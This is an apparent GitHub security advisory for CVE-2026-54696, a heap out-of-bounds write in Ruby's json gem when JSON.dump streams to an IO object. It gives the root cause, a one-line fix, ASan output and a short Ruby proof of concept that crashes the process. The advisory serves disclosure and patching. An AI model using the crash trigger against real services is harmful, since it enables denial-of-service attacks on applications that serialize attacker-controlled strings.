CVE-2026-54696
ADVISORY - githubSummary
Summary
JSON.dump(obj, io) and JSON::State#generate(obj, io) can write past the
internal JSON generator buffer when a streamed object contains an
attacker-controlled string near 16 KB. The issue is a heap out-of-bounds write
in the IO-streaming path and is demonstrated as a reliable process crash /
denial of service.
This was triaged on HackerOne as report #3785370. The issue was confirmed there and I was asked to open it here.
Details
Root cause is in ext/json/fbuffer/fbuffer.h, fbuffer_do_inc_capa().
On the IO path, the buffer is grown to FBUFFER_IO_BUFFER_SIZE (16383), but the
early return checks total capacity instead of remaining capacity:
if (RB_UNLIKELY(fb->io)) {
if (fb->capa < FBUFFER_IO_BUFFER_SIZE) {
fbuffer_realloc(fb, FBUFFER_IO_BUFFER_SIZE);
} else {
fbuffer_flush(fb);
}
if (RB_LIKELY(requested < fb->capa)) {
return;
}
}
If fb->len already contains JSON syntax bytes, and a string flush has
16383 - fb->len <= requested < 16383, this check returns even though there is
not enough space left. fbuffer_append_reserved() then writes past the buffer:
MEMCPY(fb->ptr + fb->len, newstr, char, len);
The minimal fix is to compare against the remaining capacity:
- if (RB_LIKELY(requested < fb->capa)) {
+ if (RB_LIKELY(requested <= fb->capa - fb->len)) {
return;
}
PoC
require "json"
require "stringio"
io = StringIO.new
big = "a" * 16385
big[16382] = '"' # escapable byte near the buffer boundary
JSON.dump([big], io)
Verified results:
Ruby 4.0.5 / bundled json 2.18.0:
malloc(): invalid size (unsorted)
.../json/common.rb:956: [BUG] Aborted
ruby/ruby master c78418b7a0 / json 2.19.8 / ASan:
heap-buffer-overflow WRITE of size 16382
fbuffer_append_reserved ext/json/fbuffer/fbuffer.h:145
search_flush ext/json/generator/generator.c:139
convert_UTF8_to_JSON ext/json/generator/generator.c:231
raw_generate_json_string ext/json/generator/generator.c:922
cState_m_generate ext/json/generator/generator.c:1891
Control: the same data through JSON.dump([big]) without an IO argument returns
normally. The bug is specific to the IO-streaming path.
Impact
A remote attacker can trigger a heap out-of-bounds write if they control a
string field that an application serializes through JSON.dump(obj, io) or
JSON::State#generate(obj, io). The demonstrated impact is reliable denial of
service. I am not claiming code execution or information disclosure.
Common Weakness Enumeration (CWE)
GitHub
CVSS SCORE
3.7lowDebian
-
CVSS SCORE
N/AlowUbuntu
-
CVSS SCORE
N/AmediumChainguard
CGA-6chm-33qp-3r9p
-
minimos
MINI-2779-v898-xxgx
-
minimos
MINI-2pv6-pvhh-732x
-
minimos
MINI-3v6j-8q79-7c7h
-
minimos
MINI-3vf2-h575-2fcc
-
minimos
MINI-49gg-5x9c-5gj4
-
minimos
MINI-4v2j-7r2p-9v78
-
minimos
MINI-564p-27hg-68jm
-
minimos
MINI-6vxm-v255-w2g3
-
minimos
MINI-74wv-4mrr-vg3w
-
minimos
MINI-76c4-g56m-cpw9
-
minimos
MINI-79v7-xg93-8833
-
minimos
MINI-94h7-9wqf-gv82
-
minimos
MINI-974v-h9qc-mq7c
-
minimos
MINI-f8v4-r2xp-3q5p
-
minimos
MINI-fwc6-2785-6jp2
-
minimos
MINI-gfg2-cq5g-gxc6
-
minimos
MINI-hg8r-45jg-wc8q
-
minimos
MINI-hvq7-ppvc-5vw5
-
minimos
MINI-jp26-pf44-865r
-
minimos
MINI-p236-qjc5-rq8v
-
minimos
MINI-p8gr-g858-f73v
-
minimos
MINI-qgpf-mxcq-6mj3
-
minimos
MINI-qwcw-g887-mh4g
-
minimos
MINI-r2pg-wwf6-h2px
-
minimos
MINI-rxxq-4wf3-vjm7
-
minimos
MINI-xg75-jm3g-vr83
-